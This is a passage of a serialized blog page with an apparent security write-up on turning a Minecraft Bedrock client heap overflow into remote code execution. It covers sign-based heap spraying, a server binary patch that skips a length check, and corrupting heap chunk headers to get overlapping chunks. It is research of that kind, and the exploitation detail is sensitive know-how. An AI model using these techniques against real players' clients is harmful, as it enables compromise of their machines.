":28,"value":150229},{"type":23,"tag":314,"props":150746,"children":150747},{"style":338},[150748],{"type":28,"value":16466},{"type":23,"tag":314,"props":150750,"children":150751},{"style":360},[150752],{"type":28,"value":150220},{"type":23,"tag":314,"props":150754,"children":150755},{"style":354},[150756],{"type":28,"value":50520},{"type":23,"tag":314,"props":150758,"children":150759},{"style":338},[150760],{"type":28,"value":367},{"type":23,"tag":314,"props":150762,"children":150763},{"class":316,"line":22878},[150764],{"type":23,"tag":314,"props":150765,"children":150766},{"style":338},[150767],{"type":28,"value":150276},{"type":23,"tag":314,"props":150769,"children":150770},{"class":316,"line":22886},[150771,150775,150779],{"type":23,"tag":314,"props":150772,"children":150773},{"style":338},[150774],{"type":28,"value":150260},{"type":23,"tag":314,"props":150776,"children":150777},{"style":354},[150778],{"type":28,"value":8840},{"type":23,"tag":314,"props":150780,"children":150781},{"style":338},[150782],{"type":28,"value":11020},{"type":23,"tag":314,"props":150784,"children":150785},{"class":316,"line":22894},[150786],{"type":23,"tag":314,"props":150787,"children":150788},{"style":338},[150789],{"type":28,"value":150790}," \n",{"type":23,"tag":314,"props":150792,"children":150793},{"class":316,"line":22903},[150794,150798,150802,150806,150810,150815],{"type":23,"tag":314,"props":150795,"children":150796},{"style":321},[150797],{"type":28,"value":150284},{"type":23,"tag":314,"props":150799,"children":150800},{"style":360},[150801],{"type":28,"value":150289},{"type":23,"tag":314,"props":150803,"children":150804},{"style":354},[150805],{"type":28,"value":1237},{"type":23,"tag":314,"props":150807,"children":150808},{"style":2284},[150809],{"type":28,"value":35460},{"type":23,"tag":314,"props":150811,"children":150812},{"style":332},[150813],{"type":28,"value":150814}," wait_for_block",{"type":23,"tag":314,"props":150816,"children":150817},{"style":338},[150818],{"type":28,"value":2719},{"type":23,"tag":314,"props":150820,"children":150821},{"class":316,"line":22979},[150822,150827,150831,150835,150839,150843],{"type":23,"tag":314,"props":150823,"children":150824},{"style":360},[150825],{"type":28,"value":150826}," world",{"type":23,"tag":314,"props":150828,"children":150829},{"style":338},[150830],{"type":28,"value":282},{"type":23,"tag":314,"props":150832,"children":150833},{"style":332},[150834],{"type":28,"value":150311},{"type":23,"tag":314,"props":150836,"children":150837},{"style":338},[150838],{"type":28,"value":341},{"type":23,"tag":314,"props":150840,"children":150841},{"style":1245},[150842],{"type":28,"value":150320},{"type":23,"tag":314,"props":150844,"children":150845},{"style":338},[150846],{"type":28,"value":5992},{"type":23,"tag":314,"props":150848,"children":150849},{"class":316,"line":23012},[150850],{"type":23,"tag":314,"props":150851,"children":150852},{"style":360},[150853],{"type":28,"value":150854}," sign_location\n",{"type":23,"tag":314,"props":150856,"children":150857},{"class":316,"line":23020},[150858],{"type":23,"tag":314,"props":150859,"children":150860},{"style":338},[150861],{"type":28,"value":124365},{"type":23,"tag":314,"props":150863,"children":150864},{"class":316,"line":23028},[150865,150869,150873,150877],{"type":23,"tag":314,"props":150866,"children":150867},{"style":360},[150868],{"type":28,"value":150357},{"type":23,"tag":314,"props":150870,"children":150871},{"style":338},[150872],{"type":28,"value":282},{"type":23,"tag":314,"props":150874,"children":150875},{"style":332},[150876],{"type":28,"value":149964},{"type":23,"tag":314,"props":150878,"children":150879},{"style":338},[150880],{"type":28,"value":2719},{"type":23,"tag":314,"props":150882,"children":150883},{"class":316,"line":23065},[150884,150888,150892,150896,150900,150904],{"type":23,"tag":314,"props":150885,"children":150886},{"style":360},[150887],{"type":28,"value":150377},{"type":23,"tag":314,"props":150889,"children":150890},{"style":338},[150891],{"type":28,"value":282},{"type":23,"tag":314,"props":150893,"children":150894},{"style":332},[150895],{"type":28,"value":149985},{"type":23,"tag":314,"props":150897,"children":150898},{"style":338},[150899],{"type":28,"value":341},{"type":23,"tag":314,"props":150901,"children":150902},{"style":1245},[150903],{"type":28,"value":149994},{"type":23,"tag":314,"props":150905,"children":150906},{"style":338},[150907],{"type":28,"value":2414},{"type":23,"tag":314,"props":150909,"children":150910},{"class":316,"line":23078},[150911],{"type":23,"tag":314,"props":150912,"children":150913},{"style":338},[150914],{"type":28,"value":124365},{"type":23,"tag":314,"props":150916,"children":150917},{"class":316,"line":23091},[150918],{"type":23,"tag":314,"props":150919,"children":150920},{"emptyLinePlaceholder":18},[150921],{"type":28,"value":1088},{"type":23,"tag":314,"props":150923,"children":150924},{"class":316,"line":23104},[150925,150929,150933],{"type":23,"tag":314,"props":150926,"children":150927},{"style":338},[150928],{"type":28,"value":150260},{"type":23,"tag":314,"props":150930,"children":150931},{"style":354},[150932],{"type":28,"value":8840},{"type":23,"tag":314,"props":150934,"children":150935},{"style":338},[150936],{"type":28,"value":11020},{"type":23,"tag":314,"props":150938,"children":150939},{"class":316,"line":23158},[150940],{"type":23,"tag":314,"props":150941,"children":150942},{"style":338},[150943],{"type":28,"value":2602},{"type":23,"tag":314,"props":150945,"children":150946},{"class":316,"line":23167},[150947],{"type":23,"tag":314,"props":150948,"children":150949},{"style":338},[150950],{"type":28,"value":2610},{"type":23,"tag":314,"props":150952,"children":150953},{"class":316,"line":31528},[150954],{"type":23,"tag":314,"props":150955,"children":150956},{"style":338},[150957],{"type":28,"value":386},{"type":23,"tag":314,"props":150959,"children":150960},{"class":316,"line":31549},[150961],{"type":23,"tag":314,"props":150962,"children":150963},{"emptyLinePlaceholder":18},[150964],{"type":28,"value":1088},{"type":23,"tag":314,"props":150966,"children":150967},{"class":316,"line":80203},[150968,150973,150977,150982,150986,150991,150995,151000,151004,151009,151013,151017],{"type":23,"tag":314,"props":150969,"children":150970},{"style":360},[150971],{"type":28,"value":150972},"world",{"type":23,"tag":314,"props":150974,"children":150975},{"style":338},[150976],{"type":28,"value":282},{"type":23,"tag":314,"props":150978,"children":150979},{"style":360},[150980],{"type":28,"value":150981},"afterEvents",{"type":23,"tag":314,"props":150983,"children":150984},{"style":338},[150985],{"type":28,"value":282},{"type":23,"tag":314,"props":150987,"children":150988},{"style":360},[150989],{"type":28,"value":150990},"playerSpawn",{"type":23,"tag":314,"props":150992,"children":150993},{"style":338},[150994],{"type":28,"value":282},{"type":23,"tag":314,"props":150996,"children":150997},{"style":332},[150998],{"type":28,"value":150999},"subscribe",{"type":23,"tag":314,"props":151001,"children":151002},{"style":338},[151003],{"type":28,"value":30771},{"type":23,"tag":314,"props":151005,"children":151006},{"style":360},[151007],{"type":28,"value":151008},"arg",{"type":23,"tag":314,"props":151010,"children":151011},{"style":338},[151012],{"type":28,"value":2343},{"type":23,"tag":314,"props":151014,"children":151015},{"style":321},[151016],{"type":28,"value":14064},{"type":23,"tag":314,"props":151018,"children":151019},{"style":338},[151020],{"type":28,"value":1449},{"type":23,"tag":314,"props":151022,"children":151023},{"class":316,"line":80216},[151024,151029],{"type":23,"tag":314,"props":151025,"children":151026},{"style":332},[151027],{"type":28,"value":151028}," create_wall",{"type":23,"tag":314,"props":151030,"children":151031},{"style":338},[151032],{"type":28,"value":2926},{"type":23,"tag":314,"props":151034,"children":151035},{"class":316,"line":80224},[151036],{"type":23,"tag":314,"props":151037,"children":151038},{"style":338},[151039],{"type":28,"value":34587},{"type":23,"tag":314,"props":151041,"children":151042},{"class":316,"line":80232},[151043],{"type":23,"tag":314,"props":151044,"children":151045},{"emptyLinePlaceholder":18},[151046],{"type":28,"value":1088},{"type":23,"tag":314,"props":151048,"children":151049},{"class":316,"line":80240},[151050,151054,151058,151063,151067,151072,151076,151080,151084,151088,151092,151096,151100,151104],{"type":23,"tag":314,"props":151051,"children":151052},{"style":360},[151053],{"type":28,"value":150972},{"type":23,"tag":314,"props":151055,"children":151056},{"style":338},[151057],{"type":28,"value":282},{"type":23,"tag":314,"props":151059,"children":151060},{"style":360},[151061],{"type":28,"value":151062},"beforeEvents",{"type":23,"tag":314,"props":151064,"children":151065},{"style":338},[151066],{"type":28,"value":282},{"type":23,"tag":314,"props":151068,"children":151069},{"style":360},[151070],{"type":28,"value":151071},"playerLeave",{"type":23,"tag":314,"props":151073,"children":151074},{"style":338},[151075],{"type":28,"value":282},{"type":23,"tag":314,"props":151077,"children":151078},{"style":332},[151079],{"type":28,"value":150999},{"type":23,"tag":314,"props":151081,"children":151082},{"style":338},[151083],{"type":28,"value":341},{"type":23,"tag":314,"props":151085,"children":151086},{"style":321},[151087],{"type":28,"value":35394},{"type":23,"tag":314,"props":151089,"children":151090},{"style":338},[151091],{"type":28,"value":2324},{"type":23,"tag":314,"props":151093,"children":151094},{"style":360},[151095],{"type":28,"value":151008},{"type":23,"tag":314,"props":151097,"children":151098},{"style":338},[151099],{"type":28,"value":2343},{"type":23,"tag":314,"props":151101,"children":151102},{"style":321},[151103],{"type":28,"value":14064},{"type":23,"tag":314,"props":151105,"children":151106},{"style":338},[151107],{"type":28,"value":1449},{"type":23,"tag":314,"props":151109,"children":151110},{"class":316,"line":80280},[151111,151116],{"type":23,"tag":314,"props":151112,"children":151113},{"style":332},[151114],{"type":28,"value":151115}," remove_wall",{"type":23,"tag":314,"props":151117,"children":151118},{"style":338},[151119],{"type":28,"value":2926},{"type":23,"tag":314,"props":151121,"children":151122},{"class":316,"line":80288},[151123],{"type":23,"tag":314,"props":151124,"children":151125},{"style":338},[151126],{"type":28,"value":34587},{"type":23,"tag":24,"props":151128,"children":151129},{},[151130],{"type":28,"value":151131},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":23,"tag":24,"props":151133,"children":151134},{},[151135],{"type":23,"tag":197,"props":151136,"children":151139},{"alt":151137,"src":151138},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":23,"tag":24,"props":151141,"children":151142},{},[151143],{"type":28,"value":151144},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":23,"tag":18130,"props":151146,"children":151148},{"id":151147},"a-small-roadblock",[151149],{"type":28,"value":151150},"A Small Roadblock",{"type":23,"tag":24,"props":151152,"children":151153},{},[151154],{"type":28,"value":151155},"While testing our heap spray method, we encountered the following error:",{"type":23,"tag":304,"props":151157,"children":151159},{"code":151158},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n at alloc (index.js:169)\n",[151160],{"type":23,"tag":94,"props":151161,"children":151162},{"__ignoreMap":7},[151163],{"type":28,"value":151158},{"type":23,"tag":24,"props":151165,"children":151166},{},[151167,151169,151175],{"type":28,"value":151168},"An error is thrown by the server executable while trying to assign text longer than ",{"type":23,"tag":94,"props":151170,"children":151172},{"className":151171},[],[151173],{"type":28,"value":151174},"512",{"type":28,"value":151176}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":23,"tag":24,"props":151178,"children":151179},{},[151180],{"type":28,"value":151181},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":23,"tag":24,"props":151183,"children":151184},{},[151185],{"type":28,"value":151186},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":23,"tag":24,"props":151188,"children":151189},{},[151190],{"type":23,"tag":197,"props":151191,"children":151193},{"alt":49829,"src":151192},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":23,"tag":24,"props":151195,"children":151196},{},[151197,151199,151205],{"type":28,"value":151198},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":23,"tag":94,"props":151200,"children":151202},{"className":151201},[],[151203],{"type":28,"value":151204},"string_length \u003C= 512",{"type":28,"value":151206}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":23,"tag":24,"props":151208,"children":151209},{},[151210],{"type":28,"value":151211},"The disassembly of the comparison looks like this:",{"type":23,"tag":24,"props":151213,"children":151214},{},[151215],{"type":23,"tag":197,"props":151216,"children":151218},{"alt":49829,"src":151217},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":23,"tag":24,"props":151220,"children":151221},{},[151222,151224,151229,151231,151236,151237,151242,151244,151250,151252,151258,151260,151265,151267,151272],{"type":28,"value":151223},"The code compares ",{"type":23,"tag":94,"props":151225,"children":151227},{"className":151226},[],[151228],{"type":28,"value":56025},{"type":28,"value":151230}," (the string length) to ",{"type":23,"tag":94,"props":151232,"children":151234},{"className":151233},[],[151235],{"type":28,"value":127065},{"type":28,"value":2324},{"type":23,"tag":94,"props":151238,"children":151240},{"className":151239},[],[151241],{"type":28,"value":151174},{"type":28,"value":151243}," decimal). It then performs a ",{"type":23,"tag":94,"props":151245,"children":151247},{"className":151246},[],[151248],{"type":28,"value":151249},"jbe",{"type":28,"value":151251},", jumping to address ",{"type":23,"tag":94,"props":151253,"children":151255},{"className":151254},[],[151256],{"type":28,"value":151257},"0x14275114c",{"type":28,"value":151259}," if ",{"type":23,"tag":94,"props":151261,"children":151263},{"className":151262},[],[151264],{"type":28,"value":56025},{"type":28,"value":151266}," is less than or equal to ",{"type":23,"tag":94,"props":151268,"children":151270},{"className":151269},[],[151271],{"type":28,"value":151174},{"type":28,"value":151273},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":23,"tag":24,"props":151275,"children":151276},{},[151277,151279,151284,151286,151292],{"type":28,"value":151278},"To force execution down this path, we patched the ",{"type":23,"tag":94,"props":151280,"children":151282},{"className":151281},[],[151283],{"type":28,"value":151249},{"type":28,"value":151285}," instruction to an unconditional ",{"type":23,"tag":94,"props":151287,"children":151289},{"className":151288},[],[151290],{"type":28,"value":151291},"jmp",{"type":28,"value":151293},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":23,"tag":24,"props":151295,"children":151296},{},[151297],{"type":23,"tag":197,"props":151298,"children":151300},{"alt":49829,"src":151299},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":23,"tag":24,"props":151302,"children":151303},{},[151304,151306,151311,151313,151318],{"type":28,"value":151305},"After patching the server and calling ",{"type":23,"tag":94,"props":151307,"children":151309},{"className":151308},[],[151310],{"type":28,"value":149415},{"type":28,"value":151312}," with a size of ",{"type":23,"tag":94,"props":151314,"children":151316},{"className":151315},[],[151317],{"type":28,"value":57399},{"type":28,"value":151319},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":23,"tag":24,"props":151321,"children":151322},{},[151323],{"type":23,"tag":197,"props":151324,"children":151326},{"alt":49829,"src":151325},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":23,"tag":18031,"props":151328,"children":151329},{},[],{"type":23,"tag":24,"props":151331,"children":151332},{},[151333],{"type":28,"value":151334},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":23,"tag":24,"props":151336,"children":151337},{},[151338],{"type":28,"value":151339},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":23,"tag":837,"props":151341,"children":151343},{"id":151342},"overlapping-heap-chunks",[151344],{"type":28,"value":151345},"Overlapping Heap Chunks",{"type":23,"tag":24,"props":151347,"children":151348},{},[151349,151351,151356],{"type":28,"value":151350},"The attack is described in detail in the referenced blog post (",{"type":23,"tag":31,"props":151352,"children":151354},{"href":149159,"rel":151353},[35],[151355],{"type":28,"value":46834},{"type":28,"value":151357},"), so we will present a high-level overview.",{"type":23,"tag":24,"props":151359,"children":151360},{},[151361,151363,151369],{"type":28,"value":151362},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":23,"tag":94,"props":151364,"children":151366},{"className":151365},[],[151367],{"type":28,"value":151368},"_HEAP_VS_CHUNK_HEADER",{"type":28,"value":151370}," structure layout is required:",{"type":23,"tag":304,"props":151372,"children":151374},{"code":151373}," +---------------------------+ +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost |\n +---------------------------+ +---------------+\n+0x8 |EncodedSegmentPageOffset | +0x2 |UnsafeSize |\n +---------------------------+ +---------------+\n+0x8 |UnusedBytes | +0x4 |UnsafePrevSize |\n +---------------------------+ +---------------+\n | . . . | +0x6 |Allocated |\n +---------------+\n | . . . |\n",[151375],{"type":23,"tag":94,"props":151376,"children":151377},{"__ignoreMap":7},[151378],{"type":28,"value":151373},{"type":23,"tag":24,"props":151380,"children":151381},{},[151382,151384,151390,151392,151398,151399,151405,151406,151412,151414,151419,151421,151426,151428,151434,151436,151441,151443,151449],{"type":28,"value":151383},"At offset 0 there is a header ",{"type":23,"tag":94,"props":151385,"children":151387},{"className":151386},[],[151388],{"type":28,"value":151389},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":28,"value":151391}," containing fields such as ",{"type":23,"tag":94,"props":151393,"children":151395},{"className":151394},[],[151396],{"type":28,"value":151397},"MemoryCost",{"type":28,"value":778},{"type":23,"tag":94,"props":151400,"children":151402},{"className":151401},[],[151403],{"type":28,"value":151404},"UnsafeSize",{"type":28,"value":778},{"type":23,"tag":94,"props":151407,"children":151409},{"className":151408},[],[151410],{"type":28,"value":151411},"UnsafePrevSize",{"type":28,"value":151413},", etc. For the attack we only care about the ",{"type":23,"tag":94,"props":151415,"children":151417},{"className":151416},[],[151418],{"type":28,"value":151404},{"type":28,"value":151420}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":23,"tag":94,"props":151422,"children":151424},{"className":151423},[],[151425],{"type":28,"value":125688},{"type":28,"value":151427},", so for a chunk of size ",{"type":23,"tag":94,"props":151429,"children":151431},{"className":151430},[],[151432],{"type":28,"value":151433},"0x4010",{"type":28,"value":151435}," the value of ",{"type":23,"tag":94,"props":151437,"children":151439},{"className":151438},[],[151440],{"type":28,"value":151404},{"type":28,"value":151442}," would be ",{"type":23,"tag":94,"props":151444,"children":151446},{"className":151445},[],[151447],{"type":28,"value":151448},"0x401",{"type":28,"value":282},{"type":23,"tag":24,"props":151451,"children":151452},{},[151453,151454,151459],{"type":28,"value":63469},{"type":23,"tag":94,"props":151455,"children":151457},{"className":151456},[],[151458],{"type":28,"value":151404},{"type":28,"value":151460}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":23,"tag":24,"props":151462,"children":151463},{},[151464,151466,151471,151473,151478,151480,151486,151488,151493],{"type":28,"value":151465},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":23,"tag":94,"props":151467,"children":151469},{"className":151468},[],[151470],{"type":28,"value":151404},{"type":28,"value":151472}," in the smallest possible VS chunk (",{"type":23,"tag":94,"props":151474,"children":151476},{"className":151475},[],[151477],{"type":28,"value":151433},{"type":28,"value":151479},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":23,"tag":94,"props":151481,"children":151483},{"className":151482},[],[151484],{"type":28,"value":151485},"[0x10, 0xffff0]",{"type":28,"value":151487}," range, the probability that it exceeds ",{"type":23,"tag":94,"props":151489,"children":151491},{"className":151490},[],[151492],{"type":28,"value":151433},{"type":28,"value":151494}," is:",{"type":23,"tag":304,"props":151496,"children":151498},{"code":151497},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[151499],{"type":23,"tag":94,"props":151500,"children":151501},{"__ignoreMap":7},[151502],{"type":28,"value":151497},{"type":23,"tag":24,"props":151504,"children":151505},{},[151506],{"type":28,"value":151507},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":23,"tag":24,"props":151509,"children":151510},{},[151511],{"type":28,"value":151512},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":23,"tag":18130,"props":151514,"children":151516},{"id":151515},"overlap-attack-overview",[151517],{"type":28,"value":151518},"Overlap Attack Overview",{"type":23,"tag":24,"props":151520,"children":151521},{},[151522,151524,151529],{"type":28,"value":151523},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":23,"tag":94,"props":151525,"children":151527},{"className":151526},[],[151528],{"type":28,"value":125711},{"type":28,"value":151530}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":23,"tag":24,"props":151532,"children":151533},{},[151534,151536,151541,151543,151548],{"type":28,"value":151535},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":23,"tag":94,"props":151537,"children":151539},{"className":151538},[],[151540],{"type":28,"value":147418},{"type":28,"value":151542},"-sized chunks in the free list that we want to avoid. If a ",{"type":23,"tag":94,"props":151544,"children":151546},{"className":151545},[],[151547],{"type":28,"value":147418},{"type":28,"value":151549},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":23,"tag":24,"props":151551,"children":151552},{},[151553,151555,151560],{"type":28,"value":151554},"To remove those ",{"type":23,"tag":94,"props":151556,"children":151558},{"className":151557},[],[151559],{"type":28,"value":147418},{"type":28,"value":151561},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":23,"tag":24,"props":151563,"children":151564},{},[151565],{"type":28,"value":151566},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":23,"tag":304,"props":151568,"children":151570},{"code":151569},"+--------+--------+--------+--------+--------+\n| | | | | |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n| | | | | |\n+--------+--------+--------+--------+--------+\n",[151571],{"type":23,"tag":94,"props":151572,"children":151573},{"__ignoreMap":7},[151574],{"type":28,"value":151569},{"type":23,"tag":24,"props":151576,"children":151577},{},[151578,151580,151585,151587,151592],{"type":28,"value":151579},"Next we create ",{"type":23,"tag":186,"props":151581,"children":151582},{},[151583],{"type":28,"value":151584},"holes",{"type":28,"value":151586}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":23,"tag":94,"props":151588,"children":151590},{"className":151589},[],[151591],{"type":28,"value":147418},{"type":28,"value":151593},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":23,"tag":304,"props":151595,"children":151597},{"code":151596}," Free Free \n+--------+--------+--------+--------+--------+\n| |........| |........| |\n| Sign A |........| Sign C |........| Sign F |\n| |........| |........| |\n+--------+--------+--------+--------+--------+\n",[151598],{"type":23,"tag":94,"props":151599,"children":151600},{"__ignoreMap":7},[151601],{"type":28,"value":151596},{"type":23,"tag":24,"props":151603,"children":151604},{},[151605,151607,151612,151614,151619],{"type":28,"value":151606},"When a ",{"type":23,"tag":94,"props":151608,"children":151610},{"className":151609},[],[151611],{"type":28,"value":147418},{"type":28,"value":151613}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":23,"tag":94,"props":151615,"children":151617},{"className":151616},[],[151618],{"type":28,"value":151404},{"type":28,"value":151620}," field will be overwritten:",{"type":23,"tag":304,"props":151622,"children":151624},{"code":151623}," +--------+ \n Free | | \n+--------+--------+--------+ g->out +--------+\n| |........| | | |\n| Sign A |........| Sign C +--------+ Sign F |\n| |........| | | |\n+--------+--------+--------+ +--------+\n",[151625],{"type":23,"tag":94,"props":151626,"children":151627},{"__ignoreMap":7},[151628],{"type":28,"value":151623},{"type":23,"tag":24,"props":151630,"children":151631},{},[151632,151634,151639,151641,151646,151648,151653],{"type":28,"value":151633},"Once ",{"type":23,"tag":94,"props":151635,"children":151637},{"className":151636},[],[151638],{"type":28,"value":151404},{"type":28,"value":151640}," has been overwritten, ",{"type":23,"tag":94,"props":151642,"children":151644},{"className":151643},[],[151645],{"type":28,"value":147418},{"type":28,"value":151647}," allocation is freed immediately after, restoring the previous layout but with ",{"type":23,"tag":94,"props":151649,"children":151651},{"className":151650},[],[151652],{"type":28,"value":151404},{"type":28,"value":151654}," field corrupted:",{"type":23,"tag":304,"props":151656,"children":151658},{"code":151657}," UnsafeSize Overwritten\n ^ \n | \n Free Free | \n+--------+--------+--------+--------+---+----+ \n| |........| |........| | \n| Sign A |........| Sign C |........| Sign F | \n| |........| |........| | \n+--------+--------+--------+--------+--------+ \n",[151659],{"type":23,"tag":94,"props":151660,"children":151661},{"__ignoreMap":7},[151662],{"type":28,"value":151657},{"type":23,"tag":24,"props":151664,"children":151665},{},[151666],{"type":28,"value":151667},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":23,"tag":304,"props":151669,"children":151671},{"code":151670}," UnsafeSize Overwritten\n ^ \n | \n | \n+--------+--------+--------+--------+---+----+ \n| | | | | | \n| Sign A | Sign B | Sign C | Sign D | Sign F | \n| | | | | | \n+--------+--------+--------+--------+--------+ \n",[151672],{"type":23,"tag":94,"props":151673,"children":151674},{"__ignoreMap":7},[151675],{"type":28,"value":151670},{"type":23,"tag":24,"props":151677,"children":151678},{},[151679],{"type":28,"value":151680},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":23,"tag":304,"props":151682,"children":151684},{"code":151683}," Freed Overwritten \n | \n +----------+----------+\n | |\n Free Free v v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........| |........| |........| \n|........| Sign B |........| Sign D |........| Other chunks\n|........| |........| |........| \n+--------+--------+--------+--------+--------+- - - - - - -\n",[151685],{"type":23,"tag":94,"props":151686,"children":151687},{"__ignoreMap":7},[151688],{"type":28,"value":151683},{"type":23,"tag":18031,"props":151690,"children":151691},{},[],{"type":23,"tag":24,"props":151693,"children":151694},{},[151695],{"type":28,"value":151696},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":23,"tag":24,"props":151698,"children":151699},{},[151700],{"type":28,"value":151701},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":23,"tag":837,"props":151703,"children":151705},{"id":151704},"molang",[151706],{"type":28,"value":151707},"Molang",{"type":23,"tag":24,"props":151709,"children":151710},{},[151711,151713,151720],{"type":28,"value":151712},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":23,"tag":31,"props":151714,"children":151717},{"href":151715,"rel":151716},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[35],[151718],{"type":28,"value":151719},"syntax guide",{"type":28,"value":282},{"type":23,"tag":24,"props":151722,"children":151723},{},[151724,151726,151731,151732,151737],{"type":28,"value":151725},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":23,"tag":94,"props":151727,"children":151729},{"className":151728},[],[151730],{"type":28,"value":7828},{"type":28,"value":557},{"type":23,"tag":94,"props":151733,"children":151735},{"className":151734},[],[151736],{"type":28,"value":1196},{"type":28,"value":151738}," operators are supported.",{"type":23,"tag":24,"props":151740,"children":151741},{},[151742,151744,151750,151752,151757,151759,151764,151765,151770,151771],{"type":28,"value":151743},"Variables are defined by prepending ",{"type":23,"tag":94,"props":151745,"children":151747},{"className":151746},[],[151748],{"type":28,"value":151749},"variable.",{"type":28,"value":151751}," to the name and assigning a value. For example, to define ",{"type":23,"tag":94,"props":151753,"children":151755},{"className":151754},[],[151756],{"type":28,"value":8333},{"type":28,"value":151758}," as the sum of ",{"type":23,"tag":94,"props":151760,"children":151762},{"className":151761},[],[151763],{"type":28,"value":31},{"type":28,"value":557},{"type":23,"tag":94,"props":151766,"children":151768},{"className":151767},[],[151769],{"type":28,"value":2477},{"type":28,"value":14573},{"type":23,"tag":94,"props":151772,"children":151774},{"className":151773},[],[151775],{"type":28,"value":151776},"variable.result = variable.a + variable.b;",{"type":23,"tag":24,"props":151778,"children":151779},{},[151780,151782,151787,151788,151793,151794,151799,151800,151805],{"type":28,"value":151781},"Logical operators such as ",{"type":23,"tag":94,"props":151783,"children":151785},{"className":151784},[],[151786],{"type":28,"value":21656},{"type":28,"value":778},{"type":23,"tag":94,"props":151789,"children":151791},{"className":151790},[],[151792],{"type":28,"value":72449},{"type":28,"value":778},{"type":23,"tag":94,"props":151795,"children":151797},{"className":151796},[],[151798],{"type":28,"value":5060},{"type":28,"value":778},{"type":23,"tag":94,"props":151801,"children":151803},{"className":151802},[],[151804],{"type":28,"value":9710},{"type":28,"value":151806},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":23,"tag":304,"props":151808,"children":151810},{"code":151809},"(variable.result == 3) ? {\n return 1;\n} : {\n return 0;\n}\n",[151811],{"type":23,"tag":94,"props":151812,"children":151813},{"__ignoreMap":7},[151814],{"type":28,"value":151809},{"type":23,"tag":24,"props":151816,"children":151817},{},[151818],{"type":28,"value":151819},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":23,"tag":18130,"props":151821,"children":151823},{"id":151822},"molang-internals",[151824],{"type":28,"value":151825},"Molang Internals",{"type":23,"tag":24,"props":151827,"children":151828},{},[151829],{"type":28,"value":151830},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":23,"tag":24,"props":151832,"children":151833},{},[151834],{"type":28,"value":151835},"Below we describe the structures involved and their memory layout.",{"type":23,"tag":18130,"props":151837,"children":151839},{"id":151838},"molangvariable-and-molangscriptarg",[151840],{"type":28,"value":151841},"MolangVariable and 